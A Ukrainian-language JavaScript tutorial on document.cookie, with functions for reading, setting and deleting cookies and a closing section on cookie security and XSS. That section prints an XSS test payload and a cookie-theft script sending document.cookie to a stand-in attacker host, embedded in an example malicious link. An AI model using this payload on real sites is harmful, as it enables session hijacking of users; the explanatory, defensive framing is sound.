document.cookie

document.cookie - куки документу.

Синтаксис:

window.document.cookie;

Параметри:

window - об'єкт window. Не обов'язково вказувати якщо посилатися на почне вікно.

document - об'єкт document.

Опис:

cookie властивість об'єкту document яка повертає рядок з назвою куками і значеннями поточного документу (веб-сторінки) розділеними ; . Також можна додавати куки присвоївши властивості значення.

Cookie (куки, печиво) - це текстові дані які зберігаються браузером на комп'ютері. Передаються Cookie з сервера на браузер і з браузера на сервер у заголовку запиту.

Приклад заголовку:

HTTP/1.1 200 OK
Date: Sun, 23 Oct 2016 16:58:48 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Set-Cookie: test=JavaScript; expires=Mon, 23-Oct-17 17:02:26 GMT; path=/

За політикою безпеки браузера Ви можете отрима куки лише для поточного домену.

Також корисувач може виключити Cookie у настройках браузера. Для перевірки чи включені куки використовуйте navigator.cookieEnabled.

Прицьому об'єм даних і кількість Cookie є обмеженою. В залежності від браузера максимальна кількість куків у запиті від 20 до 50. А назва і значення не повині перевищувати 4 Кб.

Отримати куки:

Щоб отримати усі куки поточної веб сторінки необхідно звернутися до самої властивості:

alert('куки: '+document.cookie );

document.cookie повертає рядок з усіма кукими у форматі: куки1=значення1; куки2=значення2; куки3=значення3;. Тому щоб отримати певні куки за назвою необхідно "видобути" з рядка.

Також для коректної передачі усіх символів куками рекомендовува кодувати / декодувати значення функціями: encodeURIComponent() / decodeURIComponent() .

Функція для отримання значення куки по назві:

function getCookie(name) {     name = name +"=";     var ca = document.cookie.split(';');     for(var i = 0; i <ca.length; i++) {         var c = ca[i];         while(c.charAt(0)==' ') {             c = c.substring(1);         }         if(c.indexOf(name) == 0) {             return decodeURIComponent( c.substring(name.length,c.length) );         }     }     return undefined; } alert( getCookie("test") ); function getCookie(name){ var res = document.cookie.match ( '(^|;) ?' + name + '=([^;]*)(;|$)' ); if ( res ) return ( decodeURIComponent(res[2]) ); else return undefined; } alert( getCookie("test") ); function getCookie(name) { var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; }

Додати куки:

Щоб додати нові куки необхідно присвоїти властивості рядок з опціями куки. При цьому куки які уже є видалені не будуть. Якщо назва куки уже існує то дані просто зміняться.

document.cookie = "name=значення; expires=дата; path=шлях; domain=домен; secure";
Опції кук:
Опція:Опис:Приклад:
nameназва куки і значення"user=JavaScript"document.cookie="user=JS";
expiresдата, до якої зберігаються куки. Дата задається у форматі UTC, за допомогою Date.toUTCString(). Якщо дату не вказати то зазвичай куки будуть зберігатися до закритя браузера, тому їх ще називають "сесійні" куки. "expires=Sun, 23 Oct 2016 08:19:05 GMT"var date=new Date(); date.setTime(date.getTime()+ 60*1000); //збільшуємо дату на 60 секунд document.cookie="test=Js; expires="+date.toUTCString()+";";
max-ageЦе нова опція яка по призначеною є аналогом expires. max-age вказує скільки секунд будуть зберігатися куки."name=js; max-age=3600;"document.cookie="test=js; max-age=36000;";
pathшлях на сайті для якого діють куки. Отримувати куки будуть документи (веб-сторінки) з вказаним шляхом"path=/test/"document.cookie='test=js; path=/home/;'; //тільки для шляху home
domainдомен для якого встановлюється куки. Зазвичай не вказується що означає що лише домен з якого вказуються куки може отримати доступ."domain=site.com.ua"document.cookie="test=js; domain=яваскрипт.укр";
secureпередавати куки тільки по захищеному SSL протоколу: HTTPS."secure;"document.cookie="test=js; secure;";
d=new Date(); //задаєм дату для зберігання куки на 1 годину d.setTime( d.getTime()+ 3600000 ); // d.setTime( d.getTime()+ 60*60*1000 ); document.cookie="test=js; expires="+d.toUTCString()+"; path=/user/; domain=яваскрипт.укр; ";

Функція яка додає куки:

function setCookie(name, value, expires_second, path, domain, secure){ var s = name+'='+encodeURIComponent(value)+';'; if( expires_second ){ var d=new Date(); d.setTime( d.getTime()+ expires_second*1000 ); s+=' expires='+d.toUTCString()+';'; } if(path) s+=' path='+path+';'; if(domain) s+=' domain='+domain+';'; if(secure)s+=' secure;'; document.cookie=s; } setCookie("test", "js", 3600); alert(document.cookie); function setCookie(name, value, options) { options = options || {}; var expires = options.expires; if (typeof expires == "number" && expires) { var d = new Date(); d.setTime(d.getTime() + expires*1000); expires = options.expires = d; } if (expires && expires.toUTCString) {     options.expires = expires.toUTCString(); } value = encodeURIComponent(value); var updatedCookie = name + "=" + value; for(var propName in options) { updatedCookie += "; " + propName; var propValue = options[propName]; if (propValue !== true) { updatedCookie += "=" + propValue; } } document.cookie = updatedCookie; } setCookie("test", "javascript", {expires:36000}); alert(document.cookie);

Видалити куки:

Щоб видалити куки достатньо вказати у опцію expires дату меншу-рівну поточної дати.

document.cookie='test=; expires='+Date(); alert( document.cookie );

Функція видалення куки за назвою:

function deleteCookie(name){ document.cookie=name+'=; expires='+Date();} deleteCookie("test"); alert( document.cookie ); function deleteCookie( name ) { var cookie_date = new Date(); cookie_date.setTime( cookie_date.getTime() - 1 ); document.cookie = name += "=; expires=" + cookie_date.toGMTString(); }

Видалення усіх куків:

function deleteCookieAll(){     var mas= document.cookie.split(';');     for(var i = 0; i <mas.length; i++) {     name=mas[i].substring(0, mas[i].indexOf('=')); document.cookie = name + "=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"; } }

Безпека даних:

Cookies дані які передаються при кожному запиті, тому важливі дані такі як логін і пароль необхідно шифрувати. Якщо заголовок передається по незашифрованому протоколу HTTP то зловмисники можуть перехопити запит і відповідно отримати куки.

XSS (Cross Site Scripting — міжсайтовий скриптінг) - це вид вразливості веб-сайтів. XSS атака виникає коли на сайті є можливість потраплення сторонніх скриптів.

Основна мета XSS атаки це додати свій скрипт у сайт. А скрипт уже пересилає куки зловмиснику. Куки є ціними коли містьтя дані про сесію користувача (id сесії, логін, тощо). Отримавши куки зловмисник підставляє їх у себе і заходить у акаунт з вкраденої сесії.

Зловмисники додають скрипти через вхідні дані на сайсті: поле пошуку, коментарі на сайті і т.п.

Тому необхідно фільтрувати, екранувати вхідні дані на сайті.

Візьмемо для прикладу вхідних даних поле пошуку на сайті: http://яваскрипт.укр?q= і передамо туди наступні дані

<script>alert('XSS');</script>
. Тобто отримаємо силку:
http://яваскрипт.укр?q=<script>alert('XSS');</script>
.

Якщо сайт не фільтрує вхідні дані тоді виконується JavScript код - сайт вразливий до XSS атаки.

Щоб вкрасти куки зловмисники потрібно передати куки з браузера жертви на їхній сайт, де ці дані записуються у базу даних. Для цього використовується простий XSS скрипт:

var img = new Image(); img.src='http://site_xaker.com/?cookie='+document.cookie;

Приклад силки з XSS атакою:

http://яваскрипт.укр/?q=<script>var img = new Image(); img.src='http://site_xaker.com/?cookie='+document.cookie;</script>
.

Силку з XSS атакою необхідно передати користувачеві. Цей скрипт також можна записати у коментар на сайті - тоді всі відвідувачі сторінки стануть жертвами (мається наувазі авторизовані користувачі у яких куки містять дані необхідні зловмисникам).

Приклад:

alert( document.cookie ); if(document.cookie.indexOf('hello=')==-1){ document.cookie='hello=a; max-are=31536000;'; alert('Вітаємо Ви вперше завітали до нас :-)'); }